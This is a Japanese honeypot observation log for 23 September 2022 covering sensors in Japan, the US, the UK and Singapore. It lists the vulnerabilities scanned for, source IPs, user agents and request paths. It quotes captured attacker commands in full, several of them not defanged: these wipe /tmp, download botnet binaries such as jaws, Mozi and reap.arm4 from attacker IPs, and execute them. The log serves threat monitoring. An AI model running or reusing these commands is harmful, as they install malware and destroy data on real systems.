2022/09/23 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/09/23分です。

特徴

共通

.jsへのスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
zgrabによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 103.159.64.218/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 79.110.62.227/lol.sh;
sh /tmp/lol.sh

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

Location:SG

D-link製品の脆弱性を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  91.218.67.179/reaper/reap.arm4;
chmod 777 /tmp/reap.arm4;
sh /tmp/reap.arm4

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：122 (前日比：-680)
US：総アクセス数：141 (前日比：-29)
UK：総アクセス数：65 (前日比：-4)
SG：総アクセス数：99 (前日比：31)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	20.127.9.90	United States
5	20.168.74.192	United States
1	36.110.214.195	China
1	40.76.224.97	United States
1	45.83.65.153	Germany
1	45.143.200.118	Russia
1	51.83.137.127	France
33	52.149.159.169	United States
1	52.188.224.147	United States
1	73.121.64.126	United States
5	95.214.235.205	Ukraine
4	101.43.6.46	China
4	103.86.175.37	India
3	103.146.140.224	Hong Kong
1	112.94.98.66	China
1	114.124.216.163	Indonesia
17	135.125.217.54	France
2	145.239.154.82	France
2	156.199.51.137	Egypt
3	156.208.226.93	Egypt
1	156.217.87.75	Egypt
3	157.230.22.182	United States
8	159.89.33.35	United States
7	159.223.68.125	United States
1	161.35.213.88	United States
1	167.248.133.63	United States
1	172.105.77.209	United States
1	178.72.71.94	Russia
1	181.214.218.69	United States
1	184.105.247.238	United States
1	185.36.81.23	United Kingdom
1	185.216.140.132	United Kingdom
4	198.20.69.98	United States
1	198.235.24.145	United States
1	201.208.129.173	Venezuela

UserAgent一覧

件数	UserAgent
25	`-`
1	`AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9`
13	`Hello, world`
6	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
33	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Wget/1.21`
1	``

リクエスト内容一覧

件数	Method	Request	Protocol
1		`'7u\xd5\x013\x12A1\xb0z$\x0f\xf1\x16\x87\xe6=HP\xc6\x19\n`
1		`-`
1		`\x03`
1		`\x0e\x8e\n`
9		`\x16\x03\x01`
1		`\x16\x03`
1		`\xa8\xfen]\x18\x9e\x02Xo%\x0c\rbP\xc7\xdbi\xc0\x8d\xa1I\xe4\xcf\xa1\xf3h\x0e\n`
30	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/cgi-bin/.env`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/db/scripts/setup.php`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/library/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/phpmyadmin4.8.5/index.php`	HTTP/1.1
1	GET	`/pmd/index.php`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
10	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sites/all/libraries/mailchimp/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-admin/.env`	HTTP/1.1
1	GET	`/wp-content/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
1	GET	`HTTP://ip-api.com/`	HTTP/1.0\n
1	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
1	POST	`/48423327`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	2.57.122.209	Romania
1	3.249.126.45	United States
1	20.27.51.203	United States
1	20.185.227.59	United States
1	20.232.147.89	United States
1	36.37.140.92	Cambodia
1	45.83.67.7	Germany
1	45.143.200.118	Russia
2	45.227.254.48	Belize
18	51.79.29.48	Canada
4	54.37.79.75	France
1	65.49.20.95	United States
1	78.142.18.92	Bulgaria
2	91.213.50.39	Russia
1	103.114.107.34	Vietnam
1	111.118.40.97	South Korea
1	112.248.127.170	China
7	128.199.118.166	United Kingdom
2	137.184.189.162	United States
4	141.98.6.37	Bulgaria
2	152.89.196.211	Russia
7	159.223.92.217	United States
1	162.62.191.231	Singapore
4	162.142.125.121	United States
62	163.123.142.153	United States
4	164.90.148.236	United States
2	167.94.138.62	United States
1	181.214.218.69	United States
1	185.216.140.132	United Kingdom
1	192.241.210.72	United States
1	197.42.111.165	Egypt
1	205.185.116.25	United States
1	205.210.31.8	United States

UserAgent一覧

件数	UserAgent
27	`-`
1	`Go-http-client/1.1`
1	`Hakai/2.0`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 12; Pixel 4a (5G)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36`
24	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
66	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	``
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`8\n`
1		`MGLNDD_34.68.118.83_80\n`
3		`\x03`
15		`\x16\x03\x01`
1		`\xf0\xde\xbc\n`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/../../proc/cpuinfo`	HTTP/1.1
27	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/login.cgi?cli=aa%20aa%27;wget%20http[:]//134[.]195[.]138[.]33/.nCKx/zx.mips%20-O%20-%3E%20/tmp/kh;/tmp/kh%20selfrep.dlink%27$`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//112[.]248[.]127[.]170:48030/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`HTTP://ip-api.com/`	HTTP/1.0\n
1	HEAD	`/`	HTTP/1.0
1	POST	`/48423327`	HTTP/1.1
66	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	2.57.122.209	Romania
1	45.83.67.192	Germany
1	45.143.200.118	Russia
2	45.227.254.49	Belize
1	64.62.197.25	United States
1	66.240.192.82	United States
2	80.66.88.211	Russia
1	90.151.171.106	Russia
2	92.255.85.183	Hong Kong
4	101.43.54.41	China
1	103.91.80.2	India
1	115.58.135.26	China
1	123.156.228.48	China
3	139.59.31.211	Singapore
2	152.89.196.211	Russia
1	156.211.185.4	Egypt
11	159.65.136.27	United States
1	161.97.135.204	Germany
7	164.92.83.198	United States
2	167.94.138.47	United States
5	175.125.21.149	South Korea
2	178.128.237.183	United States
2	179.43.156.145	Panama
1	181.214.218.69	United States
4	182.254.225.35	China
1	185.254.196.223	Ukraine
1	197.41.129.187	Egypt
1	205.210.31.9	United States
1	223.199.22.135	China

UserAgent一覧

件数	UserAgent
38	`-`
1	`AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9`
5	`Hello, world`
5	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 OPR/89.0.4447.64`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3178.0 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	``

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\n`
7		`\x03`
16		`\x16\x03\x01`
1		`\xde\xc8\x8a\x02\r\x9c\xc2\xd2~\x1e\xe4\x05n\x07\xa0\xd6&K\xef\x95\x06o\xad\x95\xbc\xe3l>\n`
1		`\xf0\xde\xbc\n`
1		`k;\xfe`
1	GET	`/../../proc/cpuinfo`	HTTP/1.1
2	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/132.145.66.34/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+103[.]159[.]64[.]218/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+79[.]110[.]62[.]227/lol.sh;sh+/tmp/lol.sh`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//v4[.]ident[.]me?Z72612114222Q1`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/48423327`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	2.57.122.209	Romania
1	20.169.45.0	United States
1	27.45.112.223	China
1	41.47.250.83	Egypt
1	45.71.3.73	Ecuador
1	45.83.64.166	Germany
1	45.142.192.2	Romania
1	45.143.200.118	Russia
1	45.164.20.112	Mexico
1	51.79.29.48	Canada
20	54.37.79.75	France
1	62.171.128.241	Germany
1	64.62.197.67	United States
2	66.85.173.54	United States
1	66.240.192.82	United States
1	78.142.18.92	Bulgaria
26	80.85.85.235	United States
1	87.236.176.95	Belgium
2	88.214.43.215	Turkey
4	104.248.49.2	United States
1	114.10.24.138	Indonesia
1	114.32.43.219	Taiwan
7	139.59.242.150	Singapore
2	152.89.196.211	Russia
2	162.142.125.8	United States
2	162.142.125.10	United States
1	167.99.61.240	United States
1	167.99.231.102	United States
2	167.248.133.119	United States
1	185.220.101.183	Germany
1	185.254.196.223	Ukraine
2	194.165.16.72	Panama
2	194.165.16.78	Panama
1	197.33.18.75	Egypt
1	198.235.24.11	United States
1	209.127.104.167	Canada
1	209.141.36.112	United States

UserAgent一覧

件数	UserAgent
22	`-`
1	`Go-http-client/1.1`
3	`Hello, world`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
26	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`VLC/3.0.8 LibVLC/3.0.8`
23	`curl/7.54.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
5		`\x03`
1		`\x16\x03\x01\x01H\x01`
2		`\x16\x03\x01\x02`
6		`\x16\x03\x01`
1		`\xf0\xde\xbc`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/../../proc/cpuinfo`	HTTP/1.1
29	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
1	GET	`/exactarget`	HTTP/1.1
11	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/iOCa`	HTTP/1.1
1	GET	`/indice.jsa`	HTTP/1.1
1	GET	`/localstart.asp`	HTTP/1.1
1	GET	`/main.html`	HTTP/1.1
1	GET	`/menu.pl`	HTTP/1.1
1	GET	`/nmaplowercheck1663865780`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.179/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4`
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
3	PRI	`*`	HTTP/2.0